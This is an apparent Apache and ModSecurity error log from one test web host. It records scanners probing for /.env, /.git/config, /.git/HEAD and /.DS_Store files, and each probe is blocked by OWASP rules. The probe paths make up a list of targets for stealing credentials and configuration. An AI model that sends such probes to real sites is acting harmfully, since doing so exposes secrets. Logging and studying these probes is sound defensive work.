[Thu Aug 21 13:13:38.545988 2025] [:error] [pid 2115007] [client 23.180.120.244:59512] [client 23.180.120.244] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aKb_Yq2kg_W_Wr-muT7CtgAAAAE&quot;]
[Thu Aug 21 13:13:38.546226 2025] [:error] [pid 2115007] [client 23.180.120.244:59512] [client 23.180.120.244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aKb_Yq2kg_W_Wr-muT7CtgAAAAE&quot;]
[Thu Aug 21 13:13:38.546413 2025] [:error] [pid 2115007] [client 23.180.120.244:59512] [client 23.180.120.244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aKb_Yq2kg_W_Wr-muT7CtgAAAAE&quot;]
[Thu Aug 21 13:13:38.661310 2025] [:error] [pid 2115010] [client 23.180.120.244:59528] [client 23.180.120.244] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aKb_YiwjVYzZoWovzhjPBgAAAAQ&quot;]
[Thu Aug 21 13:13:38.661555 2025] [:error] [pid 2115010] [client 23.180.120.244:59528] [client 23.180.120.244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aKb_YiwjVYzZoWovzhjPBgAAAAQ&quot;]
[Thu Aug 21 13:13:38.661715 2025] [:error] [pid 2115010] [client 23.180.120.244:59528] [client 23.180.120.244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aKb_YiwjVYzZoWovzhjPBgAAAAQ&quot;]
[Thu Aug 21 13:13:38.789583 2025] [:error] [pid 2115006] [client 23.180.120.244:59540] [client 23.180.120.244] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aKb_YkRs_A425kIS1E-bmgAAAAA&quot;]
[Thu Aug 21 13:13:38.789823 2025] [:error] [pid 2115006] [client 23.180.120.244:59540] [client 23.180.120.244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aKb_YkRs_A425kIS1E-bmgAAAAA&quot;]
[Thu Aug 21 13:13:38.789990 2025] [:error] [pid 2115006] [client 23.180.120.244:59540] [client 23.180.120.244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aKb_YkRs_A425kIS1E-bmgAAAAA&quot;]
[Sun Aug 24 14:27:51.347131 2025] [:error] [pid 2191883] [client 3.146.111.124:60502] [client 3.146.111.124] ModSecurity: Warning. Matched phrase &quot;zgrab&quot; at REQUEST_HEADERS:User-Agent. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf&quot;] [line &quot;55&quot;] [id &quot;913100&quot;] [msg &quot;Found User-Agent associated with security scanner&quot;] [data &quot;Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-reputation-scanner&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/AUTOMATION/SECURITY_SCANNER&quot;] [tag &quot;WASCTC/WASC-21&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aKsFR3OZ2zj-hMq6ndbgrgAAAAM&quot;]
[Sun Aug 24 14:27:51.349395 2025] [:error] [pid 2191883] [client 3.146.111.124:60502] [client 3.146.111.124] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aKsFR3OZ2zj-hMq6ndbgrgAAAAM&quot;]
[Sun Aug 24 14:27:51.349601 2025] [:error] [pid 2191883] [client 3.146.111.124:60502] [client 3.146.111.124] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aKsFR3OZ2zj-hMq6ndbgrgAAAAM&quot;]
[Thu Aug 28 02:57:56.140020 2025] [:error] [pid 2288800] [client 45.139.104.199:50804] [client 45.139.104.199] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aK-plBw5vTAYSDWkiYfl3wAAAAc&quot;]
[Thu Aug 28 02:57:56.141846 2025] [:error] [pid 2288800] [client 45.139.104.199:50804] [client 45.139.104.199] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aK-plBw5vTAYSDWkiYfl3wAAAAc&quot;]
[Thu Aug 28 02:57:56.142005 2025] [:error] [pid 2288800] [client 45.139.104.199:50804] [client 45.139.104.199] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aK-plBw5vTAYSDWkiYfl3wAAAAc&quot;]
[Thu Aug 28 03:05:58.769631 2025] [authz_core:error] [pid 2291705] [client 178.128.207.138:42544] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Thu Aug 28 03:05:58.926898 2025] [:error] [pid 2291707] [client 178.128.207.138:42566] [client 178.128.207.138] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aK-rdgMPslqXVjNMgDF9sAAAAA8&quot;]
[Thu Aug 28 03:05:58.927137 2025] [:error] [pid 2291707] [client 178.128.207.138:42566] [client 178.128.207.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aK-rdgMPslqXVjNMgDF9sAAAAA8&quot;]
[Thu Aug 28 03:05:58.927301 2025] [:error] [pid 2291707] [client 178.128.207.138:42566] [client 178.128.207.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aK-rdgMPslqXVjNMgDF9sAAAAA8&quot;]
[Thu Aug 28 03:05:58.980050 2025] [:error] [pid 2291708] [client 178.128.207.138:42578] [client 178.128.207.138] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aK-rdridlUmUKgLN_swfyQAAABA&quot;]
[Thu Aug 28 03:05:58.980269 2025] [:error] [pid 2291708] [client 178.128.207.138:42578] [client 178.128.207.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aK-rdridlUmUKgLN_swfyQAAABA&quot;]
[Thu Aug 28 03:05:58.980427 2025] [:error] [pid 2291708] [client 178.128.207.138:42578] [client 178.128.207.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aK-rdridlUmUKgLN_swfyQAAABA&quot;]
[Thu Aug 28 03:05:59.038582 2025] [:error] [pid 2291710] [client 178.128.207.138:42592] [client 178.128.207.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aK-rdxQJCZxLRfFhA7s5FAAAABI&quot;]
[Thu Aug 28 03:05:59.038817 2025] [:error] [pid 2291710] [client 178.128.207.138:42592] [client 178.128.207.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aK-rdxQJCZxLRfFhA7s5FAAAABI&quot;]
[Thu Aug 28 03:05:59.038982 2025] [:error] [pid 2291710] [client 178.128.207.138:42592] [client 178.128.207.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aK-rdxQJCZxLRfFhA7s5FAAAABI&quot;]
[Thu Aug 28 03:06:53.553732 2025] [:error] [pid 2291710] [client 103.62.235.29:52094] [client 103.62.235.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aK-rrRQJCZxLRfFhA7s5FQAAABI&quot;]
[Thu Aug 28 03:06:53.553994 2025] [:error] [pid 2291710] [client 103.62.235.29:52094] [client 103.62.235.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aK-rrRQJCZxLRfFhA7s5FQAAABI&quot;]
[Thu Aug 28 03:06:53.554167 2025] [:error] [pid 2291710] [client 103.62.235.29:52094] [client 103.62.235.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aK-rrRQJCZxLRfFhA7s5FQAAABI&quot;]
[Thu Aug 28 03:06:53.555720 2025] [:error] [pid 2291708] [client 103.62.235.29:52084] [client 103.62.235.29] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aK-rrbidlUmUKgLN_swfygAAABA&quot;]
[Thu Aug 28 03:06:53.555933 2025] [:error] [pid 2291708] [client 103.62.235.29:52084] [client 103.62.235.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aK-rrbidlUmUKgLN_swfygAAABA&quot;]
[Thu Aug 28 03:06:53.556072 2025] [:error] [pid 2291708] [client 103.62.235.29:52084] [client 103.62.235.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aK-rrbidlUmUKgLN_swfygAAABA&quot;]
[Fri Aug 29 10:22:02.990234 2025] [:error] [pid 2315266] [client 213.232.87.230:30381] [client 213.232.87.230] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aLFjKg2suCBlf7H8nreXvwAAAAI&quot;]
[Fri Aug 29 10:22:02.991365 2025] [:error] [pid 2315266] [client 213.232.87.230:30381] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aLFjKg2suCBlf7H8nreXvwAAAAI&quot;]
[Fri Aug 29 10:22:02.991530 2025] [:error] [pid 2315266] [client 213.232.87.230:30381] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aLFjKg2suCBlf7H8nreXvwAAAAI&quot;]
